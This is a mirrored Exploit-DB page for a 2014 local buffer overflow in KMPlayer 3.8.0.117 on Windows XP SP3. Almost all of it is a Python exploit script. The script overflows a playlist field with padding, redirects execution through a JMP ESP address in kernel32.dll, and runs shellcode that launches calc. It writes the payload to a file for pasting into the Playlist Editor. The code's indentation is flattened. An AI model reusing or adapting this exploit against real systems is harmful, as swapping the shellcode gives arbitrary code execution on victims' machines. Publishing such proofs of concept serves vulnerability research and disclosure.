KMPlayer 3.8.0.117 – Local Buffer Overflow

  • 作者: metacom
    日期: 2014-03-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/32152/
  • #!/usr/bin/python
    # KMPlayer 3.8.0.117 Buffer Overflow
    # Author: metacom
    # Tested on: Windows Xp pro-sp3 En
    # Download link :http://www.chip.de/downloads/KMPlayer_33859258.html
    # Version: 3.8.0.117 Kmp Plus
    # Howto / Notes:
    # Run KMPlayer Playlist Editor > New Album and paste Exploit Code
    import struct
    def little_endian(address):
    return struct.pack("<L",address)
    
    
    junk = "\x41" * 250
    eip = little_endian(0x7C86467B) #7C86467B FFE4JMP ESPkernel32.dll
    
    shellcode=(
    "\x31\xC9"#// xor ecx,ecx
    "\x51"#// push ecx
    "\x68\x63\x61\x6C\x63"#// push 0x636c6163
    "\x54"#// push dword ptr esp
    "\xB8\xC7\x93\xC2\x77"#// mov eax,0x77c293c7
    "\xFF\xD0"#// call eax
    		)
    
    exploit = junk + eip + shellcode
    try:
    rst= open("crash.txt",'w')
    rst.write(exploit)
    rst.close()
    except:
    print "Error"